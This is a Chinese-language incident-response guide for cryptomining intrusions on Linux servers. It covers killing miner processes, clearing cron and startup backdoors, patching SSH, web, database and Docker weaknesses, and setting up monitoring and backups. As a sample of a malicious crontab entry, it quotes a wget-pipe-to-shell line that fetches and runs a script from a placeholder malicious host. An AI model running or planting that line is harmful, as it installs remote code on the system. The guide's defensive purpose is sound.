服务器遭挖矿入侵了怎么办？

对安全运维人员来说，服务器突然卡顿、CPU 占用率飙升至 90% 以上，大概率是遭遇了挖矿入侵。挖矿程序会疯狂占用服务器 CPU、内存等资源，不仅导致业务系统响应缓慢，还可能引发数据泄露、合规风险等连锁问题。面对这类突发情况，盲目操作反而会让恶意程序残留，甚至扩大安全隐患。今天就从实际运维角度，拆解 “杀进程、清后门、堵漏洞、防复发”4 步应急响应方案，帮你科学处置挖矿入侵。

第一步：杀进程 —— 快速切断挖矿行为

挖矿程序的核心是通过进程占用计算资源，因此第一步要精准定位并终止恶意进程，避免资源持续消耗。

1. 定位挖矿进程

挖矿进程通常有两个显著特征：一是 CPU 占用率长期居高不下（多在 80% 以上），二是进程名多为随机字符串（如 “xmr-miner”“kworker” 等，也可能伪装成 “system”“java” 等正常进程名）。

实操时可通过以下命令排查：

• • 用top或htop查看实时进程：按 “P” 键按 CPU 占用率排序，重点关注占用率异常且名称陌生的进程，记录其 PID（进程 ID）和命令行参数（如/tmp/xxxxx -o stratum+tcp://矿池IP:端口）。
• • 用ps -ef | grep 可疑进程名确认进程详情：比如发现 PID 为 1234 的进程名是 “abc123”，可执行ps -ef | grep 1234，查看进程的启动用户、可执行文件路径（如/var/tmp/abc123），判断是否为恶意程序。
• • 排查网络连接：挖矿进程需连接矿池提交算力，用netstat -antp | grep ESTABLISHED或ss -antp查看异常 outbound 连接，若有连接到境外陌生 IP（尤其端口为 3333、4444、5555 等矿池常用端口），对应的进程大概率是挖矿程序。

2. 安全终止进程

确认恶意进程后，避免直接用kill -9强制终止（可能触发进程重启机制），建议按以下步骤操作：

1. 1. 先尝试正常终止：执行kill PID（如kill 1234），30 秒后用ps -p PID检查进程是否已停止；
2. 2. 若正常终止无效，再用强制终止：执行kill -9 PID，同时记录进程对应的可执行文件路径（如/tmp/abc123），后续清理残留时需删除该文件；
3. 3. 检查父进程：部分挖矿程序会通过父进程守护，用pstree -p PID查看恶意进程的父进程，若父进程也是异常进程，需一并终止，避免子进程重启。

3. 清理进程残留文件

终止进程后，需删除挖矿程序的可执行文件和临时文件，防止重启后复发：

• • 删除可执行文件：根据之前记录的路径，执行rm -f /tmp/abc123（注意替换为实际路径），若文件权限不足，可先执行chmod +w 文件名赋予写入权限；
• • 清理临时目录：挖矿程序常隐藏在/tmp、/var/tmp、/dev/shm等临时目录，用ls -la /tmp查看隐藏文件（以 “.” 开头的文件），删除名称异常的文件（如.miner、.config等）；
• • 检查用户目录：部分挖矿程序会伪装在普通用户的/home/用户名目录下，尤其是非运维人员创建的陌生用户，需逐一排查并清理。

第二步：清后门 —— 彻底清除恶意残留

挖矿程序不会 “孤军奋战”，入侵后通常会留下后门（如定时任务、启动项、隐藏进程），确保即使进程被杀死，也能重新启动。因此第二步必须全面排查后门，避免 “杀而复生”。

1. 排查定时任务

定时任务是挖矿程序最常用的后门手段，通过crontab或系统定时任务目录，定期下载并启动挖矿程序。排查时需覆盖用户级和系统级定时任务：

• • 用户级定时任务：执行crontab -l -u 用户名（如crontab -l -u root、crontab -l -u www），查看所有用户的定时任务，若发现类似* * * * * wget http://恶意IP/``miner.sh`` | sh的命令，直接用crontab -r -u 用户名删除该用户的所有定时任务（或编辑crontab -e -u 用户名删除恶意条目）；
• • 系统级定时任务：检查/etc/cron.d/、/etc/cron.hourly/、/etc/cron.daily/等目录，这些目录存放系统级定时脚本，若发现名称陌生的脚本（如miner.cron、update.sh），直接删除并清空/var/spool/cron/目录下的用户定时任务文件。

2. 清理启动项

挖矿程序会将自身添加到系统启动项，确保服务器重启后自动运行。不同系统的启动项位置不同，需针对性排查：

• • CentOS/RHEL 系统：检查/etc/rc.d/rc.local文件，若末尾有启动挖矿程序的命令（如/tmp/abc123 &），删除该命令并执行chmod -x /etc/rc.d/rc.local（暂时禁用 rc.local）；同时检查/etc/systemd/system/目录，若有陌生的.service文件（如miner.service），执行systemctl stop 服务名和systemctl disable 服务名，再删除该文件。
• • Ubuntu/Debian 系统：检查/etc/rc.local和/etc/init.d/目录，删除陌生的启动脚本，并用update-rc.d -f 脚本名 remove移除启动配置。

3. 检测隐藏进程与文件

部分挖矿程序会通过修改内核、隐藏进程等方式躲避排查，需用特殊工具检测：

• • 用pstree -a查看完整进程树，对比top和ps的进程列表，若发现 “进程名存在但 PID 不显示” 的情况，可能是隐藏进程，需重启服务器（临时解决）并后续升级内核；
• • 用find / -name "*.miner" -o -name "xmr*" -o -name "eth*"查找挖矿相关文件（“xmr”“eth” 分别对应门罗币、以太坊挖矿程序），找到后直接删除；
• • 检查文件属性：部分恶意文件会设置immutable属性（无法删除），用lsattr 文件名查看，若有i标识，执行chattr -i 文件名后再删除。

第三步：堵漏洞 —— 切断入侵源头

挖矿程序不会凭空出现在服务器上，必然是通过某个漏洞入侵（如弱口令、Web 漏洞、未授权访问等）。第三步需精准定位漏洞并修复，避免再次被入侵。

1. 排查常见入侵漏洞

先通过日志和配置文件，定位入侵途径：

• • SSH 弱口令 / 密钥泄露：查看/var/log/auth.log（Ubuntu）或/var/log/secure（CentOS），搜索 “Accepted password” 或 “Accepted publickey”，若发现陌生 IP（尤其是境外 IP）登录记录，且登录用户为root或普通用户，大概率是 SSH 弱口令或密钥被窃取；
• • Web 服务漏洞：若服务器运行 Nginx、Apache、Tomcat 等 Web 服务，查看访问日志（如/var/log/nginx/access.log），若有大量/login、/admin或带有cmd=exec的异常请求，可能是 Web 后台弱口令或命令注入漏洞；另外需检查是否存在 Log4j、Struts2、SpringCloud 等已公开的远程代码执行漏洞（RCE）；
• • 数据库未授权访问：查看 MySQL（/var/log/mysqld.log）、Redis（/var/log/redis/redis-server.log）等数据库日志，若有陌生 IP 通过3306、6379端口连接，且无需密码即可登录，是数据库未授权访问漏洞；
• • 容器漏洞：若服务器运行 Docker，用docker ps查看是否有陌生容器（如名称为 “miner” 的容器），检查/var/lib/docker/volumes/是否有恶意挂载，可能是 Docker API 未授权或容器逃逸漏洞。

2. 针对性修复漏洞

根据排查结果，逐一修复漏洞：

• • SSH 安全加固：① 修改默认端口：编辑/etc/ssh/sshd_config，将Port 22改为非默认端口（如Port 2222），重启sshd服务（systemctl restart sshd）；② 禁用密码登录：在sshd_config中设置PasswordAuthentication no，启用密钥登录（PubkeyAuthentication yes）；③ 限制登录 IP：编辑/etc/hosts.allow，添加sshd: ``192.168.1.0/24（仅允许内网 IP 登录），/etc/hosts.deny中添加sshd: ALL；
• • Web 服务修复：① 升级组件：将 Web 服务器、应用框架升级到最新安全版本（如 Nginx 1.24.0、Tomcat 9.0.78）；② 关闭不必要功能：禁用 Web 服务器的目录浏览、CGI 执行等功能；③ 部署 WAF：使用开源 WAF（如 ModSecurity）或云 WAF，拦截 SQL 注入、命令注入等攻击；
• • 数据库加固：① 设置强密码：执行mysqladmin -u root password "新密码"（MySQL）、redis-cli config set requirepass "新密码"（Redis）；② 绑定本地 IP：编辑my.cnf（MySQL）添加bind-address = ``127.0.0.1，redis.conf添加bind ``127.0.0.1；③ 降权运行：用普通用户（如mysql、redis）启动数据库，避免root用户运行；
• • 容器安全：① 限制 Docker API 访问：禁止将/var/run/docker.sock挂载到容器，关闭远程 Docker API；② 升级 Docker 版本：修复已知的容器逃逸漏洞；③ 清理陌生容器：执行docker stop 容器ID和docker rm 容器ID，删除恶意容器和镜像。

第四步：防复发 —— 建立长期防护机制

应急响应不是终点，若缺乏长期防护，服务器仍可能再次遭挖矿入侵。第四步需从监控、审计、权限管理等方面入手，建立常态化防护体系。

1. 部署资源监控

实时监控服务器资源，及时发现挖矿行为：

• • CPU / 内存监控：用top、htop或监控工具（如 Prometheus+Grafana）设置阈值告警，当单进程 CPU 占用持续 10 分钟超过 80%、内存占用超过 90% 时，通过邮件或短信告警；
• • 网络监控：用iftop或nload监控网络流量，重点关注异常上行流量（挖矿程序向矿池提交算力），若发现某进程上行流量持续超过 100KB/s，需立即排查；
• • 文件监控：用inotifywait工具监控/tmp、/var/tmp等敏感目录，当有新文件创建或修改时，触发告警，及时发现恶意文件。

2. 定期漏洞扫描与更新

漏洞是入侵的入口，需定期扫描并修复：

• • 漏洞扫描：每周用开源工具（如 Nessus、OpenVAS）对服务器进行漏洞扫描，重点检查 SSH、Web 服务、数据库的已知漏洞，生成扫描报告并限期修复；
• • 系统更新：每月执行yum update -y（CentOS）或apt update && apt upgrade -y（Ubuntu），更新系统内核和软件包，修复系统级漏洞；
• • 配置审计：每季度检查/etc/ssh/sshd_config、/etc/crontab等关键配置文件，确认无恶意修改，同时备份配置文件，便于异常时恢复。

3. 强化权限管理

权限滥用是挖矿入侵的重要诱因，需严格控制权限：

• • 最小权限原则：普通用户仅授予业务所需权限，禁止授予sudo权限；运维人员使用普通用户登录，需执行高权限操作时再用sudo，避免直接使用root登录；
• • 定期清理用户：每月检查/etc/passwd文件，删除陌生用户（如miner、xmr等）和长期未使用的用户，执行userdel -r 用户名彻底删除用户及家目录；
• • 日志审计：每天查看/var/log/auth.log、/var/log/secure等登录日志，每周查看 Web 访问日志和数据库日志，发现异常登录或请求时，及时追溯源头（如封禁异常 IP）。

4. 备份与灾备

即使防护到位，仍可能遭遇极端情况，需做好备份：

• • 配置备份：每周备份/etc、/var/spool/cron等关键目录，以及 Web 配置、数据库配置文件，备份文件存储到异地服务器或云存储；
• • 数据备份：每日对业务数据进行增量备份，每周进行全量备份，测试备份文件的恢复能力，确保故障时能快速恢复数据；
• • 灾备方案：若服务器承载核心业务，可部署主从架构或集群，当主服务器遭入侵时，快速切换到从服务器，减少业务中断时间。

服务器挖矿应急响应的核心是 “快速止损、彻底清理、切断源头、长期防护”。从杀进程终止恶意行为，到清后门消除残留，再到堵漏洞切断入侵途径，最后通过防复发建立防护体系，四个步骤环环相扣，缺一不可。对运维人员来说，不仅要掌握应急处置技巧，更要养成 “预防优于处置” 的意识 —— 定期加固服务器、监控资源异常、提升安全意识，才能从根本上避免挖矿入侵，保障服务器稳定运行。